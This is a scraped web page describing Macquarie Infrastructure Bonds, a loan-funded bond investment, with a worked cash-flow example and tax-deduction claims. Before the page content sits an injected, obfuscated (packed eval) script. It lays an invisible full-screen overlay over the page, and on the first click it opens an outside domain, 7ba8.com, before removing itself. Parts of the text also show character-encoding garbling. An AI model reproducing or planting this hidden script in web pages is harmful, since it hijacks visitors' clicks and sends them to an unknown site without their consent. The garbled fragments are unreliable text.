<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>| Macquarie Infrastructure Bonds |
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| | | Macquarie Infrastructure Bonds ("Bonds") and the loans to purchase the Bonds are offered by Macquarie Alternative Investments Limited ("Macquarie") on behalf of Macquarie Acceptances Limited or Macquarie Bank Limited.
Macquarie Infrastructure Bonds give you:
the potential for attractive returns from an investment in infrastructure the opportunity to prepay your interest and management fees on the loan bonds that yield tax-exempt returns a positive after-tax cashflow the potential for after-tax returns as high as 13.45% the ability to terminate the investment each year.
| Service profile | | Minimum initial investment | $26,344 for a bond holding of $500,000 | | Loan term | Term of Bond with the option for either party to terminate each year | | Repayment frequency | Interest is prepaid annually | | Management fee | 2.00% of your investment, prepaid annually |
How Macquarie Infrastructure Bonds workIt works like this:
Macquarie lends you the amount required to invest in an infrastructure project you are obliged to pay your interest on the loan and management fees annually in advance you contribute a portion of the interest and management fee expense Macquarie lends you the balance you may be able to claim a tax deduction for the prepaid interest and management fees at the end of the loan the bonds mature and their value pays back in full the loans from Macquarie. The tables below illustrate cash flows from a particular Bond project.
| To Purchase your Bond: | | Purchase price of Bond | ($500,000) | | Loan from Macquarie to purchase the Bond | $500,000
_________
| ?/p>
| $ Nil
| | Interest & management fee payable on Macquarie Loan | ($61,624)
| | Additional Macquarie Loan to pay some of the interest and management fee expense incurred by you (Additional Loan) | $35,280
| | Amount to be paid by you | _________
$26,344
_________
|
| If you Elect to Terminate your Investment after one year: | | You will need to repay your loan | ($535,280)
| | The coupon you receive is applied to repay the Additional Loan | $35,280
| | You sell your Bond back to Macquarie | $500,000
| | What you pay on termination | _________
$ Nil
_________
|
| Net return on your investment:牋 | | Coupon paid on your Bond investment | | $35,280*
| | Interest Payment | | | | | Interest and management fee payable on Macquarie Loan | ($61,624) | | | | Anticipated tax deduction on interest and management fee (assuming a 48.5% tax rate) | $29,888
| |
| | ($31,736)
|
Anticipated Net Return
| | ________
$3,544
________
|
* This tax exempt coupon will be applied to repay the Additional Loan from Macquarie to you.
The above cashflows are dependent upon the taxation treatment of Bond loan interest and fees in the hands of the Investor. Investors should fully review the offering memorandum and seek their own taxation advice. Macquarie does not warrant the taxation treatment for the investor.
Benefits of Macquarie Infrastructure BondsMacquarie Infrastructure Bonds potentially give you the following tax results, depending on your individual circumstances:
tax deductible prepaid interest ?you prepay your interest every year for the life of the loan and you may be able to claim your interest as a tax deduction ?individual investors have received positive taxation advice from the Australian Tax Office tax deductible management fees ?these upfront fees may be deductible your income from the investment should be tax-exempt The tax profile of every investor is different and we suggest you seek independent tax advice. This information sheet does not constitute an offer to invest in infrastructure bonds.?span>If you are an existing Macquarie Infrastructure Bonds client or would like to be informed of future product offerings, you can contact Macquarie on 1800 080 033.
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